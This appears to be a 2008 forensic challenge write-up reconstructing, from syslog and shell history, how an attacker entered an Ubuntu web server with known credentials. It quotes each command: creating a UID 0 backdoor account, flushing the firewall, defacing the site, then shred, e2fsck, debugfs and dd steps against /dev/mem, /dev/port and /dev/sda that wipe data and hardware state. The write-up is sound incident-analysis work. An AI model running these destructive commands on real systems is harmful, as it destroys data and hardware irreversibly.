EH-Net

What happened? : Here is the story of humanoid, a poor Ubuntu 6.06 LTS system that got pwned pretty bad :

Mar 20 05:10:52 johnboy syslogd 1.4.1#17ubuntu7.1: restart (remote reception).
Mar 20 05:41:10 242.229.249.233 syslogd 1.4.1#21ubuntu3: restart.
Mar 20 05:35:00 242.229.249.233 sshd[7564]: Accepted password for owner from 228.229.228.233 port 44156 ssh2
Mar 20 05:35:01 242.229.249.233 sshd[7566]: pam_unix(ssh:session): session opened for user owner by (uid=0)
Mar 20 05:30:34 242.229.249.233 sudo: owner : TTY=pts/10 ; PWD=/home/owner ; USER=root ; COMMAND=/usr/bin/vi /etc/inetd.conf
Mar 20 05:30:54 242.229.249.233 sudo: owner : TTY=pts/10 ; PWD=/home/owner ; USER=root ; COMMAND=/etc/init.d/openbsd-inetd stop
Mar 20 05:30:56 242.229.249.233 sudo: owner : TTY=pts/10 ; PWD=/home/owner ; USER=root ; COMMAND=/etc/init.d/openbsd-inetd start
Mar 20 05:33:14 242.229.249.233 telnetd[1803]: connect from 228.229.228.233
Mar 20 05:34:24 242.229.249.233 telnetd[6887]: ttloop: retrying
Mar 20 05:34:45 242.229.249.233 su[6913]: Successful su for root by owner
Mar 20 05:34:45 242.229.249.233 su[6913]: + pts/10 owner:root
Mar 20 05:34:45 242.229.249.233 su[6913]: pam_unix(su:session): session opened for user root by owner(uid=1000)
Mar 20 05:35:29 242.229.249.233 telnetd[6887]: child process 6888 exited: 0
Mar 20 05:35:29 242.229.249.233 login[6888]: pam_unix(login:session): session closed for user owner

We see a first IP (228.229.228.233) connecting to the target (humanoid = 242.229.249.233) using SSH and user owner. Notice he logged in at the first try, so it seems the attacker knew the password of the owner account. Using SUDO, he then activates the telnet server, which he then connects to, to make sure it works.

Mar 20 06:03:14 242.229.249.233 telnetd[1803]: connect from 240.232.249.228
Mar 20 06:04:24 242.229.249.233 telnetd[6887]: ttloop: retrying
Mar 20 06:04:45 242.229.249.233 su[6913]: Successful su for root by owner
Mar 20 06:04:45 242.229.249.233 su[6913]: + pts/10 owner:root
Mar 20 06:04:45 242.229.249.233 su[6913]: pam_unix(su:session): session opened for user root by owner(uid=1000)
Mar 20 06:04:57 242.229.249.233 useradd[6927]: new user: name=luz, UID=0, GID=0, home=/home/luz, shell=/bin/bash
Mar 20 06:05:21 242.229.249.233 passwd[6933]: pam_unix(passwd:chauthtok): password changed for luz
Mar 20 06:05:23 242.229.249.233 su[6913]: pam_unix(su:session): session closed for user root
Mar 20 06:05:29 242.229.249.233 telnetd[6887]: child process 6888 exited: 0
Mar 20 06:05:29 242.229.249.233 login[6888]: pam_unix(login:session): session closed for user owner

Some 30 minutes later, another IP (240.232.249.228) connects to the target using telnet and the owner account. He creates a new account named luz with the bash shell and logs out.

Mar 20 06:06:00 242.229.249.233 sshd[7564]: Accepted password for owner from 240.232.249.228 port 44156 ssh2
Mar 20 06:06:01 242.229.249.233 sshd[7566]: pam_unix(ssh:session): session opened for user luz by (uid=0)

The same IP connects back using SSH and the new user luz, and then starts to look around.

id
unname -a
uname -a
touch /root/test
ls -la /root
rm /root/test
vi /etc/shadow

The hacker accesses the machine for the first time, and so he tries to find out what user he is (id), what type of system it is (uname -a), and tries to write to the /root folder to make sure he has full root access (and he does, because we see him deleting his test file). He then opens up the shadow file, possibly to modify the current root password. We can assess that the hacker is typing the commands himself (not scripted) because of the typo in unname -a.

iptables -F
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -I OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

The hackers wipes the Netfilter firewall rules entirely, and defaults everything to ACCEPT (multiple times that is). He now has a wide-open system (assuming there is no other filtering done upstream).

rm /var/www/htdocs/index.html
echo "I'm so pwned...." > /var/www/htdocs/index.html
echo JiMxNDk3OyYjMTUxMzsmIzE0OTM7JiMxNTA2OyAmIzE0OTI7JiMxNTA0OyYjMTUxMDsmIzE1MTI7 >>/var/www/htdocs/index.html
echo JiMxNDk3OyAmIzE0OTM7JiMxNTAyOyYjMTUwMDsmIzE0OTg7ICYjMTQ5MjsmIzE0OTc7JiMxNDky >> /var/www/htdocs/index.html
echo OyYjMTQ5MzsmIzE0OTE7JiMxNDk3OyYjMTUwMTs= >> /var/www/htdocs/index.html

The hacker deletes the apache default "index.html" and replaces it with the message "I'm so pwned.... " (pwned ~= hacked in k1dd1e slang), followed by a a base-64 encoded message which, once decoded (with openssl enc -d -base64 -in base64.txt -out out.txt), yields a bunch of HTML Unicode characters, which render as :

י ומלך היהודים

when shown in a browser. After a few minutes of Googling, I determined that these are Hebrew characters that mean "Jew King" or "King of Jews" or something in that vein.

wget http://localhost/
chmod 666 /var/www/htdocs/index.html
wget http://localhost/

The hacker simply verifies that his defacement is visible, changes the permissions so that the file is world readable/writable, and tries again with success.

mail -s "S0 pwned!" `nc -l -p 54742` < /var/www/htdocs/index.html

He then sends an email back to an address that the attacker will specify by connecting to port 54742 and typing it. This is done to hide his email address.

Mar 20 06:27:28 242.229.249.233 postfix/pickup[6046]: 54E38488E8: uid=0 from=<root>
Mar 20 06:27:28 242.229.249.233 postfix/cleanup[6208]: 54E38488E8: message-id=<20080317113539.54E38488E8@humanoid>
Mar 20 06:27:28 242.229.249.233 postfix/qmgr[6047]: 54E38488E8: from=<luz>, size=385, nrcpt=2 (queue active)

Looking at the logs, we can't tell either to what address the email was sent.

mke2fs -m 0 /dev/ram9
mke2fs -m 0 /dev/ram8
mke2fs -m 0 /dev/ram7
mkdir -p /mnt/rd
mount /dev/ram9 /mnt/rd
mkdir /mnt/rd/usr
mount /dev/ram8 /mnt/rd/usr
mkdir /mnt/rd/lib
mount /dev/ram7 /mnt/rd/lib
mkdir -p /mnt/rd/var/www/htdocs
mkdir -p /mnt/rd/proc
mkdir -p /mnt/rd/dev
mkdir -p /mnt/rd/tmp
cp -ax /var/www/htdocs/index.html /mnt/rd/var/www/htdocs/

What the hacker does next is really creative : to be able to destroy the system completely, he will create a "copy" of the server that will run in memory, so that he can do what he pleases to the disk. He creates 3 ram disks (using the RamFS driver) formated with the ext2 filesystem. He mounts those under /mnt/rd as /, /usr and /lib. He then creates other skeleton directories and finally copies the web server files into his new ram-based /var directory (which is actually under /dev/ram9).

vi /tmp/flist.txt
cat /tmp/flist.txt | while read file; do dir=`echo "$file" |sed 's/\/[^\/]*$//'` ; mkdir -p /mnt/rd/$dir ; cp -ax $file /mnt/rd/$dir; done

The hacker's virtual server's filesystem is missing a lot of files/directories, and he doesn't want to copy all those manually, so he creates a list of files/directories (complete pathnames) that are vital to his server that he pastes (or writes) to the /tmp/flist.txt file. He then pipes that list into that long cryptic bash line which simply does the following: For every file in the list, create the file's directory (which is obtained with the sed mumbo-jumbo), and copy the file/directory recursively to the new filesystem under /mnt/rd, while preserving all symlinks, permissions, and ownership information.

mount --bind /proc /mnt/rd/proc
mount --bind /dev /mnt/rd/dev

Since both /dev and /proc are impossible to copy (/dev would need to be re-mknod-ed, and /proc is so dynamic it's pointless to copy), the hacker binds those two directories in his virtual filesystem, so they are accessible from his virtual filesystem without a copy operation.

mkdir /mnt/rd/oldroot
cd /mnt/rd
pivot_root . oldroot
exec chroot .
cd
cat /etc/shells
chsh -s /bin/sh

His new virtual server is ready to be activated. He creates the folder oldroot under /mnt/rd to mount the old root (/) filesystem. After cd'ing to /mnt/rd, he uses pivot_root to set the current directory (/mnt/rd) as the new root (/) and to mount the old root (old / on the physical disk) to /oldroot (which was called /mnt/rd/oldroot just before the pivot_root call). The chroot call is done to make sure our new root is here (pivot_root isn't always enough) and the hacker verifies the result with a call to cd which will answer / (instead of /mnt/rd). He then changes his shell to use one available in his new system (this is why he peeks at /etc/shells) using the chsh command (change shell). Whoah.

Mar 20 06:27:51 242.229.249.233 chsh[11491]: changed user `luz' shell to `/bin/sh'
Mar 20 13:24:16 192.168.255.133 CRON[5703]: Authentication service cannot retrieve authentication info.
Mar 21 05:10:52 johnboy syslogd 1.4.1#17ubuntu7.1: restart (remote reception).

The syslog shows the change of shells. The ram disk part was probably scripted (copy-pasted) because it only took 20 secondes to execute.

shred -u /oldroot/bin/bash
shred -u /oldroot/etc/shadow
find /oldroot/root -type f -ls -exec shred -u {} \;
find /oldroot/home -type f -ls -exec shred -u {} \;
find /oldroot/usr/[a-km-z]* -type f -ls -exec shred -u {} \;
find /oldroot/usr/lib/[a-hj-z]* -type f -ls -exec shred -u {} \;
find /oldroot/var -type f -ls -exec shred -u {} \;
find /oldroot/etc -type f -ls -exec shred -u {} \;

Now the destruction begins! The "shred -u" command overwrites the specified file with different random data patterns 25 times before deleting the file. This makes recovery of the data impossible. It's a very useful command to securely delete sensitive information from a drive, but it's deadly when your opponent uses it against you! So the hacker shreds everything under /oldroot in /root, /home, /var, /etc, the bash shell and the shadow password file. He also shreds everything under /oldroot/usr, preserving all the directories starting with the letter L (lib, lib32 and local). He then shreds everything under /oldroot/usr/lib, preserving all directories starting with the letter I (i*86 dirs, initramfs-tools, and then some).

mount
cat /proc/partitions
dumpe2fs -b /dev/sda2
count=1; while [ $count -lt 1000 ]; do echo $count; count=`expr $count + 1`; done >> /tmp/bad1000
mkdir /tmp
count=1; while [ $count -lt 1000 ]; do echo $count; count=`expr $count + 1`; done >> /tmp/bad1000
e2fsck -l /tmp/bad1000 /dev/sda2
dumpe2fs -b /dev/sda2

Not happy with destroying all your files, he feels he must do more! He checks available partitions using mount and /proc/partitions. He verifies for bad blocks on /dev/sda2 (possibly /, or /boot filesystem). He then does a little bash scripting to create a file /tmp/bad1000 which contains the numbers 1-999, one per line, but he fails the first time because /tmp doesn't exist in his ram disk, so he fixes that and creates the file. Feeding this file to "e2fsck -l" has the effect of marking the first 999 blocks of the /dev/sda2 partition as bad, so they can't be used anymore. He then verifies that his trick worked by running dumpe2fs once more.

echo "dirty" > /tmp/dirty
debugfs --help
man debugfs
which man
fsck you
debugfs -w -f /tmp/dirty /dev/sda2

That's not all, folks! That dude is mad I tells ya! After smacking himself in the head for wiping the man pages (and insulting the server with a geeky curse that couldn't be more ironic), he proceeds to set the /dev/sda2 partition's validity bit to false, by running the debugfs program with the "dirty" command on it. He wants to make sure the partition will be useless!

ll
ls -la
dmidecode |head 50
dd if=/dev/mem bs=1 skip=946272 count=512 |hexdump -C
dd if=/dev/mem bs=1 skip=1048400 count=176 |hexdump -C
dd if=/dev/zero of=/dev/mem seek=983040 count=65535 bs=1
dd if=/dev/zero of=/dev/mem seek=946272 count=102304 bs=1

The madness has taken it's toll on our hacker. He looks up dmidecode to see where the BIOS starts, and he then dumps the memory at the start of the BIOS (946272 = 0xE7060 he got from dmidecode), and also at the end of the standard BIOS area (176 bytes before FFFFF). He then zeroes out the standard BIOS memory addresses (0xF0000 - 0xFFFFF), and after that he zeroes out the BIOS and the extended BIOS (0xE7060 - 0xFFFFF). Why he didn't do that in the first place is only known to him. So the BIOS is gone, that leaves only...

printf "\x44\x44\x44\x44" |dd of=/dev/port seek=3324 bs=1
printf "\x80" | dd of=/dev/port seek=178 bs=1

...the hardware itself! First the hacker overwrites the first 32-bits of the PCI configuration data register (port address 0xCFC = 3324) with 4s, and then he stops the hardware fans via APM (port address 0xB2 = 178)!

shred /dev/sda
logger Dodge This
dd if=/dev/zero of=/dev/mem

Finally, the finishing move : he shreds the entire hard disk (/dev/sda), and then, quoting Trinity in The Matrix, he shoots the server in the head by zeroing out the whole RAM, leaving the system to die, in a cloud of smoke and zeros...

Mar 21 13:02:43 242.229.249.233 luz: Dodge This

Ouch.

Mar 22 05:10:53 johnboy syslogd 1.4.1#17ubuntu7.1: restart (remote reception).
Mar 23 03:31:15 242.229.249.233 syslogd 1.4.1#17ubuntu7: restart.
Mar 23 03:31:16 242.229.249.233 kernel: Inspecting /boot/System.map-2.6.15-27-386
Mar 23 03:31:17 242.229.249.233 kernel: Loaded 23031 symbols from /boot/System.map- 2.6.15-27-386.
Mar 23 03:31:17 242.229.249.233 kernel: Symbols match kernel version 2.6.15.
Mar 23 03:31:17 242.229.249.233 kernel: No module symbols loaded - kernel modules not enabled.
Mar 23 03:31:17 242.229.249.233 kernel: [17179569.184000] Linux version 2.6.15-27-386 (buildd@terranova) (gcc version 4.0.3 (Ubuntu 4.0.3-1ubuntu5)) #1 PREEMPT Sat Sep 16 01:51:59 UTC 2006
Mar 23 03:31:17 242.229.249.233 kernel: [17179569.184000] BIOS-provided physical RAM map:
Mar 23 03:31:17 242.229.249.233 kernel: [17179569.184000] BIOS-e820: 0000000000000000 - 000000000009f800 (usable)
Mar 23 03:31:18 242.229.249.233 kernel: [17179569.184000] BIOS-e820: 000000000009f800 - 00000000000a0000 (reserved)
Mar 23 03:31:18 242.229.249.233 kernel: [17179569.184000] BIOS-e820: 00000000000ca000 - 00000000000cc000 (reserved)
Mar 23 03:31:18 242.229.249.233 kernel: [17179569.184000] BIOS-e820: 00000000000dc000 - 0000000000100000 (reserved)
Mar 23 03:31:18 242.229.249.233 kernel: [17179569.184000] BIOS-e820: 0000000000100000 - 000000000fef0000 (usable)
Mar 23 03:31:18 242.229.249.233 kernel: [17179569.184000] BIOS-e820: 000000000fef0000 - 000000000fefc000 (ACPI data)
Mar 23 03:31:18 242.229.249.233 kernel: [17179569.184000] BIOS-e820: 000000000fefc000 - 000000000ff00000 (ACPI NVS)
Mar 23 03:31:18 242.229.249.233 kernel: [17179569.184000] BIOS-e820: 000000000ff00000 - 0000000010000000 (usable)
Mar 23 03:31:18 242.229.249.233 kernel: [17179569.184000] BIOS-e820: 00000000fec00000 - 00000000fec10000 (reserved)
Mar 23 03:31:18 242.229.249.233 kernel: [17179569.184000] BIOS-e820: 00000000fee00000 - 00000000fee01000 (reserved)
Mar 23 03:31:18 242.229.249.233 kernel: [17179569.184000] BIOS-e820: 00000000fffe0000 - 0000000100000000 (reserved)
Mar 23 03:31:18 242.229.249.233 kernel: [17179569.184000] 0MB HIGHMEM available.
Mar 23 03:31:18 242.229.249.233 kernel: [17179569.184000] 256MB LOWMEM available.
Mar 23 03:31:18 242.229.249.233 kernel: [17179569.184000] found SMP MP-table at 000f6ce0
Mar 23 03:31:18 242.229.249.233 kernel: [17179569.184000] On node 0 totalpages: 65536
Mar 23 03:31:18 242.229.249.233 kernel: [17179569.184000] DMA zone: 4096 pages, LIFO batch:0
Mar 23 03:31:18 242.229.249.233 kernel: [17179569.184000] DMA32 zone: 0 pages, LIFO batch:0
Mar 23 03:31:18 242.229.249.233 kernel: [17179569.184000] Normal zone: 61440 pages, LIFO batch:15
Mar 23 03:31:18 242.229.249.233 kernel: [17179569.184000] HighMem zone: 0 pages, LIFO batch:0
Mar 23 03:31:18 242.229.249.233 kernel: [17179569.184000] DMI present.
Mar 23 03:31:20 242.229.249.233 kernel: [17179700.268000] apm: BIOS version 1.2 Flags 0x03 (Driver version 1.16ac)
Mar 23 03:31:20 242.229.249.233 kernel: [17179700.272000] apm: overridden by ACPI.
Mar 23 03:31:29 242.229.249.233 sshd[4030]: Server listening on :: port 22.
Mar 23 03:31:31 242.229.249.233 anacron[4131]: Anacron 2.3 started on 2008-03-23
Mar 23 03:31:33 242.229.249.233 anacron[4131]: Normal exit (0 jobs run)
Mar 23 03:31:33 242.229.249.233 /usr/sbin/cron[4156]: (CRON) INFO (pidfile fd = 3)
Mar 23 03:31:33 242.229.249.233 /usr/sbin/cron[4157]: (CRON) STARTUP (fork ok)
Mar 23 03:31:33 242.229.249.233 /usr/sbin/cron[4157]: (CRON) INFO (Running @reboot jobs)

The target seems to have been back to life, possibly on new hardware, and a new OS...

Why did it happened? This looks like a revenge job, organized by Bobby233, with the help of his 1337 friend JewKing228. Bobby had the rage, but JewKing had the mad sk1llz. So Bobby opened the window of the Humanoid web server to let JewKing in and wreck havoc unto the system...

Alexandre Déry
2008-04-14